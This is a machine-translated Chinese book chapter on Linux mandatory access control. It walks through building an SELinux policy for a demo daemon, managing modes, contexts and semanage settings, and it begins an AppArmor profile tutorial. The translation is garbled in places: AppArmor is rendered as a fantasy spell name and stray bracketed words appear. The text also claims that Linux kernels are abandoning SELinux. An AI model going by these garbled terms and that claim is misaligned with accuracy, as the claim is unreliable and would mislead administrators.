Cache**(**AVC**)的查找表中。 AVC 是基于 SELinux*策略数据库*生成的。 - -典型的 SELinux 策略由以下资源(文件)组成,每个资源(文件)反映安全策略的一个特定方面: - -* **类型强制**:已授予或拒绝策略的操作(例如,读取或写入文件)。 -* **接口**:策略交互的应用接口(如日志记录)。 -* **文件上下文**:策略关联的系统资源(如日志文件)。 - -这些策略文件使用 SELinux 构建工具一起编译,以生成特定的*安全策略*。 该策略被加载到内核中,添加到 SELinux 策略数据库中,并在不重新启动系统的情况下激活。 - -在创建 SELinux 策略时,我们通常首先在*许可*模式下测试它们,在此模式下会记录违规,但仍然允许。 当出现违规时,SELinux 工具集中的`audit2allow`实用程序可以来解决。 我们使用`audit2allow`产生的日志跟踪来创建策略所需的附加规则,以说明合法的访问权限。 SELinux 违规记录在`/var/log/messages`中,并以`avc: denied`作为前缀。 - -下一节将描述创建 SELinux 安全策略的必要步骤。 - -### 创建 SELinux 安全策略 - -让我们假设有一个名为`packtd`的守护进程,我们需要保护它以访问`/var/log/messages`。 为了便于说明,该守护进程有一个简单的实现:定期打开`/var/log/messages`文件进行写入。 使用您喜欢的文本编辑器(例如`nano`)将以下内容(C 代码)添加到文件中。 让我们将该文件命名为`packtd.c`: - -![Figure 9.1 – A simple daemon periodically checking logs](img/B13196_09_01.jpg) - -图 9.1 -一个简单的守护进程定期检查日志 - -让我们编译并构建`packtd.c`来生成相关的二进制可执行文件(`packtd`): - -```sh -gcc -o packtd packtd.c -``` - -RHEL/CentOS 8 默认安装`gcc`GNU 编译器。 否则,您可以使用以下命令安装它: - -```sh -sudo yum install gcc -``` - -我们已经准备好继续执行创建`packtd`守护进程的步骤和所需的 SELinux 安全策略: - -1. 安装守护程序。 -2. 生成策略文件。 -3. 构建安全策略。 -4. 验证和调整安全策略。 - -让我们从安装我们的`packtd`守护进程开始。 - -#### 安装守护程序 - -首先,我们必须为`packtd`守护进程创建`systemd`单元文件。 您可以使用您喜欢的文本编辑器(如`nano`)来创建相关文件。 我们将此文件命名为`packtd.service`: - -![Figure 9.2 – The packtd daemon file](img/B13196_09_02.jpg) - -图 9.2 - packtd 守护文件 - -将我们创建的文件复制到它们各自的位置: - -```sh -sudo cp packtd /usr/local/bin/ -sudo cp packtd.service /usr/lib/systemd/system/ -``` - -现在,我们准备启动我们的`packtd`守护进程: - -```sh -sudo systemctl start packtd -sudo systemctl status packtd -``` - -状态显示如下: - -![Figure 9.3 – The status of the packtd daemon](img/B13196_09_03.jpg) - -图 9.3 - packtd 守护进程的状态 - -让我们确保`packtd`守护进程没有被 SELinux 限制: - -```sh -ps -efZ | grep packtd | grep -v grep -``` - -`ps`的`-Z`选项参数检索进程的 SELinux 上下文。 命令回显信息如下: - -![Figure 9.4 – SELinux does not restrict the packtd daemon](img/B13196_09_04.jpg) - -图 9.4 - SELinux 不限制 packtd 守护进程 - -安全属性`unconfined_service_t`表明`packtd`不受 SELinux 的限制。 实际上,如果我们尾加`/var/log/messages`,我们可以看到`packtd`记录的消息: - -```sh -sudo tail -F /var/log/messages -``` - -下面是输出的摘录: - -![Figure 9.5 – The packtd daemon's logging unrestricted](img/B13196_09_05.jpg) - -图 9.5 - packtd 守护进程的日志记录不受限制 - -接下来,我们将为`packtd`守护进程生成安全策略文件。 - -#### 生成策略文件 - -要为`packtd`构建安全策略,我们需要生成相关的策略文件。 用于构建安全策略的 SELinux 工具是`sepolicy`。 另外,打包最终的安全策略二进制文件需要使用`rpm-build`实用程序。 这些命令行工具可能在你的系统上默认是不可用的,所以你可能需要安装相关的包: - -```sh -sudo yum install -y policycoreutils-devel rpm-build -``` - -以下命令生成`packtd`的策略文件(不需要超级用户权限): - -```sh -sepolicy generate --init /usr/local/bin/packtd -``` - -相关输出如下: - -![Figure 9.6 – Generating policy files with sepolicy](img/B13196_09_06.jpg) - -图 9.6 -使用 sepolicy 生成策略文件 - -接下来,我们需要重新构建系统策略,以便它包含自定义的`packtd`策略模块。 - -#### 构建安全策略 - -我们将使用在前面步骤中创建的`packtd.sh`构建脚本。 这个命令需要超级用户权限,因为它将新创建的策略安装在系统上: - -```sh -sudo ./packtd.sh -``` - -这个构建需要相对较短的时间来完成,并产生以下输出(摘录): - -![Figure 9.7 – Building the security policy for packtd](img/B13196_09_07.jpg) - -图 9.7 -为 packtd 构建安全策略 - -请注意,构建脚本使用`restorecon`命令(在前面的输出中突出显示)为`packtd`恢复默认的*SELinux*安全上下文。 既然已经构建了安全策略,现在就可以验证相关的权限了。 - -#### 验证安全策略 - -首先,我们需要重新启动`packtd`守护进程来处理策略更改: - -```sh -sudo systemctl restart packtd -``` - -`packtd`进程现在应该反映新的 SELinux 安全上下文: - -```sh -ps -efZ | grep packtd | grep -v grep -``` - -输出显示了安全上下文的新标签(`packtd_t`): - -![Figure 9.8 – The new security policy for packtd](img/B13196_09_08.jpg) - -图 9.8 - packtd 的新安全策略 - -由于 SELinux 现在控制我们的`packtd`守护进程,我们应该在`/var/log/messages`中看到相关的审计跟踪,SELinux 在其中记录了系统的活动。 让我们看看关于权限问题的审计日志。 下面的命令使用`ausearch`实用程序获取 AVC 消息类型的最新事件: - -```sh -sudo ausearch -m AVC -ts recent -``` - -我们将立即注意到`packtd`对`/var/log/messages`没有读写权限: - -![Figure 9.9 – No read/write access for packtd](img/B13196_09_09.jpg) - -图 9.9 - packtd 没有读写权限 - -为了进一步查询`packtd`所需的权限,我们将`ausearch`的输出输入`audit2allow`,这是一个生成所需安全策略存根的工具: - -```sh -sudo ausearch -m AVC -ts recent | audit2allow -R -``` - -输出提供了我们正在寻找的代码宏: - -![Figure 9.10 – Querying the missing permissions for packtd](img/B13196_09_10.jpg) - -图 9.10 -查询 packtd 缺少的权限 - -`audit2allow`的`-R``(--reference`)选项调用存根生成任务,这有时可能会产生不准确或不完整的结果。 在这种情况下,可能需要一些迭代来更新、重建和验证相关的安全策略。 让我们继续进行所需的更改,就像前面建议的那样。 我们将编辑前面生成的*类型强制*文件(`packt.te`),并按照`audit2allow`的输出准确地添加行(复制/粘贴)。 保存文件之后,我们需要重新构建安全策略,重启`packtd`守护进程,并验证审计日志。 我们在重申整个流程中的最后三个步骤: - -```sh -sudo ./packtd.sh -sudo systemctl restart packtd -sudo ausearch -m AVC -ts recent | audit2allow -R -``` - -这一次,SELinux 审计应该是干净的: - -![Figure 9.11 – No more permission issues for packtd](img/B13196_09_11.jpg) - -图 9.11 - packtd 不再有权限问题 - -有时,`ausearch`可能需要一段时间来刷新其*最近的*缓冲区。 或者,我们可以指定一个开始分析的时间戳,比如在我们更新了安全策略之后,使用一个相对最近的时间戳: - -```sh -sudo ausearch --start 12/14/2020 '22:30:00' | audit2allow -R -``` - -现在,我们对 SELinux 安全策略的内部机制有了基本的了解。 接下来,我们将转向在日常管理任务中管理和控制 SELinux 的一些更高级别的操作。 - -### 理解 SELinux 模式 - -SELinux 在系统中被*启用*或*禁用*。 当启用时,它以以下模式之一运行: - -* `Enforcing`:SELinux 有效地监控安全策略。 RHEL/CentOS 操作系统默认启用该模式。 -* `Permissive`:主动监控安全策略,不执行访问控制。 策略违规已登录`/var/log/messages`。 - -禁用 SELinux 时,既不会监视也不会强制执行安全策略。 - -下面的命令获取系统上 SELinux 的当前状态: - -```sh -sestatus -``` - -输出如下: - -![Figure 9.12 – Getting the current status of SELinux](img/B13196_09_12.jpg) - -图 9.12 -获取 SELinux 当前状态 - -当 SELinux 启用时,下面的命令获取当前模式: - -```sh -getenforce -``` - -在`permissive mode`中,我们得到以下输出: - -![Figure 9.13 – Getting the current mode of SELinux](img/B13196_09_13.jpg) - -图 9.13 -获取 SELinux 当前模式 - -要将强制更改为`permissive mode`,我们可以运行以下命令: - -```sh -sudo setenforce 0 -``` - -在这种情况下,`getenforce`命令将显示`Permissive`。 要切换回强制模式,我们可以运行以下命令: - -```sh -sudo setenforce 1 -``` - -SELinux 模式也可以通过编辑`/etc/selinux/config`中的`SELINUX`值来设置。 可能的值记录在配置文件中。 - -重要提示 - -手动编辑 SELinux 配置文件需要重新引导系统才能使更改生效。 - -启用 SELinux 后,系统管理员可以通过修改`/etc/selinux/config`:`targeted`、`minimum`和`mls`中的`SELINUXTYPE`值来选择以下 SELinux 策略级别。 相应的值记录在配置文件中。 - -重要提示 - -默认的 SELinux 策略设置是`targeted`,除了`mls`之外,一般不建议更改此设置。 - -有了`targeted`策略后,只有专门配置为使用 SELinux 安全策略的进程才在*受限*(或受限)域中运行。 这些进程通常包括系统守护进程(如`dhcpd`和`sshd`)和知名的服务器应用(如*Apache*和*PostgreSQL*)。 所有其他(非目标)进程都不受限制地运行,并且通常用`unconfined_t`域类型标记。 - -为了完全禁用 SELinux,我们可以使用自己选择的文本编辑器(比如`sudo nano /etc/selinux/config`)编辑`/etc/selinux/config`文件,并进行以下更改: - -```sh -SELINUX=disabled -``` - -或者,我们可以运行以下命令将 SELinux 模式从`enforcing`更改为`disabled`: - -```sh -sudo sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config -``` - -我们可以使用以下命令检索当前配置: - -```sh -cat /etc/selinux/config -``` - -使用 SELinux`disabled`,我们得到以下输出: - -![Figure 9.14 – Disabling SELinux](img/B13196_09_14.jpg) - -图 9.14 -禁用 SELinux - -我们需要重启系统以使更改生效: - -```sh -sudo systemctl reboot -``` - -接下来,让我们通过引入 SELinux*上下文*来研究如何做出访问控制决策。 - -### SELinux 上下文理解 - -启用了 SELinux,流程和文件都贴有*上下文包含额外的*SELinux-specific*的信息,比如用户*,*角色*、【显示】类型*和*(可选)。 上下文数据用于 SELinux 访问控制决策。** - - **SELinux 在`ls`、`ps`和其他命令中添加了`-Z`选项,从而显示文件系统对象、进程等的安全上下文。 - -让我们创建一个任意文件,并检查相关的 SELinux 上下文: - -```sh -touch afile -ls -Z afile -``` - -输出如下: - -![Figure 9.15 – Displaying the SELinux context of a file](img/B13196_09_15.jpg) - -图 9.15 -显示一个文件的 SELinux 上下文 - -SELinux 上下文具有以下格式—由四个字段组成的序列,由冒号(`:`)分隔: - -```sh -USER:ROLE:TYPE:LEVEL -``` - -我们将解释 SELinux 上下文字段。 - -#### SELinux user - -SELinux 用户*是身份已知一组特定的政策授权*角色*和*一个特定水平*指定的 MLS / MCS*【显示】范围(见**SELinux 水平部分的更多细节)。 每个 Linux 用户帐户都使用 SELinux 策略映射到相应的 SELinux 用户身份。 这种机制允许普通 Linux 用户继承与 SELinux 用户关联的策略限制。** - -Linux 用户拥有的进程接收映射的 SELinux 用户的身份,以承担相应的 SELinux*角色*和*级别*。 - -下面的命令显示 Linux 帐户与其相应的 SELinux 用户身份之间的映射列表。 该命令需要超级用户权限。 此外,`semanage`实用程序可与`policycoreutils`包一起使用,您可能需要在系统上安装该包: - -```sh -sudo semanage login -l -``` - -系统与系统之间的输出可能略有不同: - -![Figure 9.16 – Displaying the SELinux user mappings](img/B13196_09_16.jpg) - -图 9.16 -显示 SELinux 用户映射 - -有关`semanage`命令行实用程序的更多信息,您可以参考相关的系统参考(`man semanage`,`man semanage-login`)。 - -#### SELinux roles - -SELinux*角色*是 RBAC 安全模型的一部分,它们本质上是 RBAC 的属性。 在 SELinux 上下文层次结构中,授权用户使用*角色*,授权角色使用*类型*或*域*。 在 SELinux 上下文术语中,*类型*指的是文件系统对象类型,*domains*指的是进程类型(详见*SELinux 类型*一节)。 - -以 Linux 进程为例。 SELinux*角色*作为*域*和 SELinux*用户*之间的中间访问层。 一个可访问的*角色*决定哪些*域*(即*进程*)可以通过*角色*访问。 最终,该机制控制进程可以访问哪些对象类型,从而最大限度地减少了特权升级攻击的可能性。 - -#### SELinux type - -SELinux*类型*是 SELinux*类型实施*的属性——一个*MAC*安全结构。 对于 SELinux 类型,我们将*域*称为进程类型,而*类型*称为文件系统对象类型。 SELinux 安全策略控制特定类型如何相互访问——通过域到类型访问或域到域交互。 - -#### SELinux level - -SELinux*级别*是*MLS*/*MCS*模式的属性,也是 SELinux 上下文中的一个可选字段。 级别通常是指主体对对象的访问控制的安全许可。 清除水平包括`unclassified`、`confidential`、`secret`和`top-secret`,以*范围*表达。 一个*MLS 范围*表示一对水平,如果水平不同则定义为`low-high`,如果水平相同则定义为`low`。 例如,`s0-s0`水平与`s0`水平相同。 每个级别代表一个*敏感性-类别*对,类别是可选的。 当指定类别时,级别定义为`sensitivity:category-set`; 否则,它只定义为`sensitivity`。 - -现在我们已经熟悉了 SELinux 上下文。 接下来,我们将从用户的 SELinux 上下文开始,看到它们的实际应用。 - -#### 用于用户的 SELinux 上下文 - -下面的命令显示与当前用户关联的 SELinux 上下文: - -```sh -id -Z -``` - -在我们的例子中,输出如下: - -![Figure 9.17 – Displaying the current user's SELinux context](img/B13196_09_17.jpg) - -图 9.17 -显示当前用户的 SELinux 上下文 - -RHEL/CentOS 中,Linux 用户默认为`unconfined`(不受限制),其上下文字段如下: - -* `unconfined_u`:用户身份 -* `unconfined_r`:角色 -* `unconfined_t`:域关联 -* `s0-s0`:*MLS*范围(相当于`s0`) -* `c0.c1023`:类别集合,代表所有类别(从`c0`到`c1023`) - -接下来,我们将研究进程的 SELinux 上下文。 - -#### 进程的 SELinux 上下文 - -显示当前 SSH 进程的 SELinux 上下文: - -```sh -ps -eZ | grep sshd -``` - -该命令输出如下: - -![Figure 9.18 – Displaying the SELinux context for SSH-related processes](img/B13196_09_18.jpg) - -图 9.18 -显示 ssh 相关进程的 SELinux 上下文 - -从输出中,我们可以推断出上面的一行指的是`sshd`服务器进程,它以`system_u`用户身份、`system_r`角色和`sshd_t`域关联运行。 第二行是当前用户的 SSH 会话,即`unconfined`上下文。 系统守护进程通常与`system_u`用户和`system_r`角色相关联。 - -在结束关于 SELinux 上下文的这一节之前,我们将研究 SELinux 域转换的一个相对常见的场景,即一个域中的进程访问另一个域中的对象(或*进程*)。 - -#### SELinux 域转换 - -假设一个域中的 SELinux 安全进程请求访问另一个域中的对象(或另一个进程),那么 SELinux 域转换就发挥作用了。 除非有特定的安全策略允许相关的域转换,否则 SELinux 将拒绝访问。 - -由 selinux 保护的进程从一个域转换到另一个域时会调用新域的`entrypoint`类型。 SELinux 评估相关的*入口点权限*,并决定请求流程是否可以进入新域。 - -为了演示一个域转换场景,我们将举一个简单的例子,当用户更改其密码时使用`passwd`实用程序。 相关操作涉及到`passwd`进程与`/etc/shadow`(可能还有`/etc/gshadow`)文件之间的交互。 当用户输入(并再次输入)密码时,`passwd`将散列并将用户的密码存储在`/etc/shadow`中。 - -让我们来看看 SELinux 域的亲缘关系: - -```sh -ls -Z /usr/bin/passwd -ls -Z /etc/shadow -``` - -对应的输出如下: - -![Figure 9.19 – Comparing the domain affinity context](img/B13196_09_19.jpg) - -图 9.19 -比较域关联上下文 - -`passwd`实用程序标记为`passwd_exec_t`类型,而`/etc/shadow`标记为`shadow_t`。 必须有一个特定的安全策略链,允许相关域从`passwd_exec_t`过渡到`shadow_t`; 否则,`passwd`将无法正常工作。 - -让我们验证一下我们的假设。 我们将使用`sesearch`工具来查询我们假定的安全策略: - -```sh -sudo sesearch -s passwd_t -t shadow_t -p write --allow -``` - -下面是对前面命令的简要解释: - -* `sesearch`:搜索 SELinux 策略数据库 -* `-s passwd_t`:查找以`passwd_t`作为源的策略规则*类型*或*角色* -* `-t shadow_t`:查找以`shadow_t`为目标的策略规则*类型*或*角色* -* `-p write`:查找权限为`write`的策略规则 -* `--allow`:查找策略规则*允许*查询的权限(用`-p`指定) - -命令回显信息如下: - -![Figure 9.20 – Querying SELinux policies](img/B13196_09_20.jpg) - -图 9.20 -查询 SELinux 策略 - -在这里,我们可以看到`append create`权限,正如我们正确假设的那样。 - -我们如何选择`passwd_t`源类型而不是`passwd_exec_t`? 根据定义,与*可执行文件*类型`passwd_exec_t`对应的*域*类型为`passwd_t`。 如果我们不确定关于【病人】*写*`shadow_t`文件权限类型,我们可以简单地排除源类型(`-s passwd_t`)`sesearch`解析查询和输出(例如,使用`grep passwd`)。 - -在查询安全策略时,使用`sesearch`工具非常方便。 有一些类似的工具用于故障诊断或管理 SELinux 配置和策略。 最著名的 SELinux 命令行实用程序之一是用于管理 SELinux 策略的`semanage`。 我们接下来将研究它。 - -### 管理 SELinux 策略 - -SELinux 提供了几个用于管理安全策略和模块的实用程序,下面的*SELinux 问题故障排除*一节将简要描述其中一些实用程序。 对这些工具的研究超出了本章的范围,但是我们将以`semanage`为例,快速回顾一些涉及安全策略管理的用例。 - -`semanage`命令的一般语法如下: - -```sh -semanage TARGET [OPTIONS] -``` - -`TARGET`通常表示策略定义的特定名称空间(例如,`login`、`user`、`port`、`fcontext`、`boolean`、`permissive`等等)。 让我们看几个例子来了解`semanage`是如何工作的。 - -#### 启用自定义端口的安全绑定 - -让我们假设我们想要为自定义 SSH 端口启用 SELinux,而不是默认的`22`。 我们可以使用以下命令检索 SSH 端口上的当前安全记录(标签): - -```sh -sudo semanage port -l | grep ssh -``` - -对于默认配置,我们将得到以下输出: - -![Figure 9.21 – Querying the SELinux security label for the SSH port](img/B13196_09_21.jpg) - -图 9.21 -查询 SSH 端口的 SELinux 安全标签 - -如果我们想在不同的端口(如`2222`)上启用 SSH,首先,我们需要配置相关的服务(`sshd`)来监听不同的端口。 我们不会在这里讨论这些细节。 这里,我们需要使用以下命令在新端口上启用安全绑定: - -```sh -sudo semanage port -a -t ssh_port_t -p tcp 2222 -``` - -下面是对前面命令的简要解释: - -* `-a`(`--add`):为给定类型添加一个新记录(标签) -* `-t ssh_port_t`:对象的 SELinux 类型 -* `-p tcp`:与端口相关联的网络协议 - -作为前面命令的结果,针对`ssh_port_t`类型的新安全策略如下所示: - -![Figure 9.22 – Changing the SELinux security label for the SSH port](img/B13196_09_22.jpg) - -图 9.22 -更改 SSH 端口的 SELinux 安全标签 - -我们可以删除旧的安全标签(针对端口`22`),但如果禁用端口`22`,这就无关紧要了。 如果我们想要删除一个端口安全记录,我们可以使用以下命令: - -```sh -sudo semanage port -d -p tcp 22 -``` - -我们使用`-d`(`--delete`)选项来删除相关的安全标签。 要查看`semanage port`策略的本地定制,可以调用`-C`(`--locallist`)选项: - -```sh -sudo semanage port -l -C -``` - -有关`semanage port`的更多信息,请参考相关系统参考(`man semanage port`)。 接下来,我们将研究如何修改特定服务器应用的安全权限。 - -#### 修改目标服务的安全权限 - -`semanage`使用`boolean`命名空间来切换目标服务的特定特性。 目标服务是具有内置 SELinux 保护的守护进程。 在下面的示例中,我们希望启用 FTP over HTTP 连接。 默认情况下,Apache 的这个安全特性(`httpd`)是关闭的。 下面查询相关的`httpd`安全策略: - -```sh -sudo semanage boolean -l | grep httpd | grep ftp -``` - -我们得到以下输出: - -![Figure 9.23 – Querying httpd policies related to FTP](img/B13196_09_23.jpg) - -图 9.23 -查询与 FTP 相关的 httpd 策略 - -正如我们所看到的,相关的特性——`httpd_enable_ftp_server`——默认为`off`。 `current`和`persisted`状态目前为`off: (off, off)`。 我们可以使用以下命令启用它: - -```sh -sudo semanage boolean -m --on httpd_enable_ftp_server -``` - -要查看`semanage boolean`策略的本地定制,可以调用`-C`(`--locallist`)选项: - -```sh -sudo semanage boolean -l -C -``` - -新的配置现在看起来像这样: - -![Figure 9.24 – Enabling the security policy for FTP over HTTP](img/B13196_09_24.jpg) - -图 9.24 -启用 FTP over HTTP 的安全策略 - -在前面的示例中,我们使用`-m`(`--modify`)选项和`semanage boolean`命令来切换`httpd_enable_ftp_server`特性。 - -有关`semanage boolean`的更多信息,请参考相关系统参考(`man semanage boolean`)。 现在,让我们学习如何修改特定服务器应用的安全上下文。 - -#### 修改目标服务的安全上下文 - -在本例中,我们希望安全 SSH 密钥存储在本地系统上的自定义位置。 因为我们的目标是一个与文件系统相关的安全策略,所以我们将在`semanage`中使用`fcontext`(文件上下文)命名空间。 - -查询`sshd`的文件上下文安全设置。 - -```sh -sudo semanage fcontext -l | grep sshd -``` - -以下是输出的相关摘录: - -![Figure 9.25 – The security context of SSH keys](img/B13196_09_25.jpg) - -图 9.25 - SSH 密钥的安全上下文 - -下面的命令还将`/etc/ssh/keys/`路径添加到与`sshd_key_t`上下文类型相关联的安全位置: - -```sh -sudo semanage fcontext -a -t sshd_key_t '/etc/ssh/keys(/.*)?' -``` - -`'/etc/ssh/keys(/.*)?'`正则表达式匹配`/etc/ssh/keys/`目录中的任何文件,包括任何嵌套级别的子目录。 要查看`semanage fcontext`策略的本地自定义,我们可以调用`-C`(`--locallist`)选项: - -```sh -sudo semanage fcontext -l -C -``` - -我们应该看到新的安全背景: - -![Figure 9.26 – The modified security context of our SSH keys](img/B13196_09_26.jpg) - -图 9.26 -修改后的 SSH 密钥的安全上下文 - -我们还应该初始化`/etc/ssh/keys`目录的文件系统安全上下文(如果我们已经创建了它): - -```sh -sudo restorecon -r /etc/ssh/keys -``` - -`restorecon`是一个 SELinux 实用程序,用于将默认的安全上下文恢复到文件系统对象。 选项`-r`(或`-R`)指定相关路径上的递归操作。 - -有关`semanage fcontext`的更多信息,请参考相关系统参考(`man semanage fcontext`)。 接下来,我们将研究为特定服务器应用启用`permissive mode`。 - -#### 为目标服务启用允许模式 - -在本章前面的中,我们创建了一个带有安全策略的自定义守护进程(`packtd`)。 请参阅*创建 SELinux 安全策略*一节中的相关主题。 当我们处理`packtd`守护进程并测试其功能时,最初我们必须处理它的 SELinux 策略违规。 最终,我们修复了所需的安全策略上下文,一切正常。 在整个过程中,我们能够使用`packtd`运行和测试,而不需要 SELinux 因为不遵从而关闭守护进程。 然而,我们的 Linux 系统以`enforcing`模式运行 SELinux(默认情况下),结果是`not permissive`模式。 有关`enforcing`和`permissive modes`的更多信息,请参见*理解 SELinux 模式*部分。 - -那么,`packtd`如何可能不受限制地运行,同时又违反安全策略? - -默认情况下,SELinux 是`permissive`到系统中任何*非目标*类型。 我们所说的*非目标*是指还没有被强制进入限制性(或受限)模式的域(类型)。 - -当我们为`packtd`守护进程构建安全策略时,我们让相关的 SELinux 构建工具为我们的域生成默认的*类型强制*文件(`packt.te`)和其他资源。 快速浏览一下`packt.te`文件,我们的`packtd_t`类型是`permissive`: - -```sh -cat packt.te -``` - -以下是该文件的相关摘录: - -![Figure 9.27 – The packtd_t domain is permissive](img/B13196_09_27.jpg) - -图 9.27 - packtd_t 域是允许的 - -因此,`packtd_t`域本质上就是`permissive`。 限制`packtd`的惟一方法是从`packtd.te`文件中删除`permissive`行并重新构建相关的安全策略。 我们把这个留给你们做练习。 在这里,我们希望提出一个可能行为不端的域(在本例中是`permissive`),我们可以通过`semanage permissive`命令管理`permissive`类型*捕获*。 - -要为单个目标管理`permissive mode`,可以将命令与`permissive namespace`一起使用`semanage`命令。 下面的命令列出了当前`permissive mode`中的所有域(类型): - -```sh -sudo semanage permissive -l -``` - -在我们的例子中,我们有内置的*`packtd_t`域,即`permissive`:* - - *![Figure 9.28 – Displaying permissive types](img/B13196_09_28.jpg) - -图 9.28 -显示允许类型 - -一般来说,默认 SELinux 配置不太可能有任何`permissive types`。 - -在测试或故障排除特定功能时,可以使用`semanage permissive`命令将一个受限制的域临时放置到`permissive mode`中。 例如,下面的命令在`permissive mode`中设置 Apache(`httpd`)守护进程: - -```sh -sudo semanage permissive -a httpd_t -``` - -当我们查询`permissive`类型时,我们得到以下结果: - -![Figure 9.29 – Customized permissive types](img/B13196_09_29.jpg) - -图 9.29 -自定义许可类型 - -使用`semanage permissive`命令生成`permissive`的域或类型将显示为`Customized Permissive Types`。 - -要将`httpd_t`域恢复为受限(受限)状态,可以使用`-d`(`--delete`)选项调用`semanage permissive`命令: - -```sh -sudo semanage permissive -d httpd_t -``` - -注意,我们不能用`semanage`命令限制内置的`permissive types`。 如前所述,`packtd_t`域本质上是`permissive`,不能加以限制。 - -### 故障排除 SELinux 问题 - -即使在我们对 SELinux 相对短暂的探索过程中,我们也使用了一些工具和方法来检查安全策略的一些内部工作,以及主体(用户和进程)和对象(文件)之间的访问控制。 SELinux 的问题通常归结为行为被拒绝,或者是在特定的主体之间,或者是在一个主体和一些客体之间。 与 selinux 相关的问题并不总是很明显,也不容易进行故障排除,但是了解能够提供帮助的工具已经是解决这些问题的良好开端。 - -以下是其中一些工具,简要说明: - -* `/var/log/messages`:包含 SELinux 访问控制跟踪和策略违规的日志文件 -* `audit2allow`:根据被拒绝操作对应的日志轨迹生成 SELinux 策略规则 -* `audit2why`:提供对 SELinux 策略违规审计消息的友好翻译 -* `ausearch`:查询`/var/log/messages`策略违规 -* 列出文件系统对象及其相应的 SELinux 上下文 -* 列出进程及其相应的 SELinux 上下文 -* `restorecon`:恢复文件系统对象的默认 SELinux 上下文 -* `seinfo`:提供 SELinux 安全策略的一般信息 -* `semanage`:管理并提供 SELinux 策略的洞察力 -* `semodule`:管理 SELinux 策略模块 -* `sepolicy`:检查 SELinux 策略 -* `sesearch`:查询 SELinux 策略数据库 - -对于这些工具中的大多数,都有相应的系统参考(如`man sesearch`),它提供了关于使用该工具的详细信息。 除了这些工具,您还可以探索 SELinux 提供的大量文档。 这是如何。 - -### 访问 SELinux 文档 - -SELinux 有大量的文档,可以作为 RHEL/CentOS 可安装包获得,也可以通过[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/using_selinux/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/using_selinux/index)在线获取(适用于 RHEL/CentOS 8)。 - -在 RHEL/CentOS 8 系统上安装 SELinux 文档: - -```sh -sudo yum install -y selinux-policy-doc.noarch -``` - -可以使用(例如)以下命令浏览特定的 SELinux 主题: - -```sh -man -k selinux | grep httpd -``` - -SELinux 是 Linux 内核中最成熟、可高度定制的安全框架之一。 然而,它相对广阔的领域和固有的复杂性可能会让许多人感到不知所措。 有时,即使是经验丰富的系统管理员,Linux 发行版的选择也可能取决于底层的安全模块。 SELinux 主要在 RHEL/CentOS 平台上可用。 Linux 内核的最新版本现在正在远离 SELinux,转而采用一种相对更轻、更有效的安全框架。 地平线上冉冉升起的新星是幻影显形。 - -# 介绍 AppArmor - -AppArmor 是一个基于 MAC 模型的 LSM,它将应用限制在有限的一组资源中。 AppArmor 使用基于已加载到内核中的安全配置文件的 ACM。 每个概要文件包含一组用于访问各种系统资源的规则。 AppArmor 可以配置为`enforce`访问控制,也可以配置为`complain`访问控制违规。 - -通过防止已知和未知的漏洞被利用,AppArmor 主动保护应用和操作系统资源免受内部和外部威胁,包括零日攻击。 - -AppArmor 从 2.6.36 版本开始就内置在主流 Linux 内核中,目前随*Ubuntu*、*Debian*、*OpenSUSE*以及类似的发行版一起发布。 - -在下面几节中。 我们将使用 Ubuntu 20.04 环境来展示一些使用 AppArmor 的实际示例。 大多数相关的命令行实用程序在安装了 AppArmor 的任何平台上都可以相同地工作。 - -## 使用 AppArmor - -AppArmor 命令行实用程序通常需要超级用户特权。 - -使用如下命令检查 apapparmor 的当前状态: - -```sh -sudo aa-status -``` - -下面是命令输出的摘录: - -![Figure 9.30 – Getting the status of AppArmor](img/B13196_09_30.jpg) - -图 9.30 -获取 AppArmor 的状态 - -`aa-status`(或`apparmor_status`)命令提供当前加载的 AppArmor 配置文件的完整列表(没有在前面的摘录中显示)。 接下来我们来看看幻影显形。 - -### AppArmor 对概要介绍 - -使用 AppArmor 时,过程被剖面限制(或限制)。 在系统启动时加载 AppArmor 配置文件,并在`enforce mode`或`complain mode`中运行。 下面我们将解释这些模式。 - -#### 执行模式 - -AppArmor 阻止在`enforce mode`中运行的应用执行受限制的操作。 在`syslog`的日志条目中通知访问违规。 Ubuntu 默认在`enforce mode`中加载应用概要文件。 - -#### 抱怨模式 - -在`complain mode`中运行的应用可以采取受限制的操作,而 AppArmor 为相关违规创建一个日志条目。 `complain mode`是测试 AppArmor 配置文件的理想选择。 在将配置文件切换到`enforce mode`之前,潜在的错误或访问违规可以被捕获并修复。 - -记住这些介绍性说明后,让我们创建一个带有 AppArmor 配置文件的简单应用。 - -### 创建一个配置文件 - -在本节中,我们将创建一个由 AppArmor 保护的简单应用。 我们希望这个练习能帮助你对幻影显形的内部工作方式有一个合理的了解。 让我们将此应用命名为`appackt`。 我们将使它成为一个简单的脚本,创建一个文件,写入文件,然后删除文件。 我们的目标是让 AppArmor 阻止我们的应用访问本地系统中的任何其他路径。 为了理解这一点,可以把它想象成琐碎的日志回收。 - -下面是`appackt`脚本,请原谅这个节俭的实现: - -![Figure 9.31 – The appackt script](img/B13196_09_31.jpg) - -图 9.31 - appackt 脚本 - -我们假设`log`目录已经存在于与脚本相同的位置: - -```sh -mkdir ./log -``` - -让我们使脚本可执行并运行它: - -```sh -chmod a+x appackt -./appackt -``` - -输出如下: - -![Figure 9.32 – The output of the appackt script](img/B13196_09_32.jpg) - -图 9.32 - appackt 脚本的输出 - -现在,让我们用 AppArmor 来保护和执行我们的脚本。 在我们开始之前,我们需要安装`apparmor-utils`包——*AppArmor 工具集*: - -```sh -sudo apt-get install -y apparmor-utils -``` - -我们将使用一些工具来帮助创建配置文件: - -* `aa-genprof`:生成一个 AppArmor 安全配置文件 -* `aa-logprof`:更新一个 AppArmor 安全配置文件 - -我们使用`aa-genprof`在运行时监视应用,并让 AppArmor*了解*。 在这个过程中,我们会被提示承认并选择在特定情况下需要的行为。 - -一旦创建了概要文件,我们将使用`aa-logprof`实用程序在`complain mode`中进行测试时进行进一步的调整,以防出现任何违反。 - -让我们从`aa-genprof`开始。 我们需要两个终端:一个用于`aa-genprof`监控会话(在*终端 1*中),另一个用于运行脚本(在*终端 2*中)。 - -我们将从*终端 1*开始,并运行以下命令: - -```sh -sudo aa-genprof ./appackt -``` - -第一个提示符在等着我们。 接下来,当*终端 1*提示符等待时,我们将切换到*终端 2*并运行以下命令: - -```sh -./appackt -``` - -现在我们必须回到*终端 1*,回答`aa-genprof`发送的提示,如下: - -#### 提示 1 -等待扫描 - -此提示要求扫描系统日志以发现 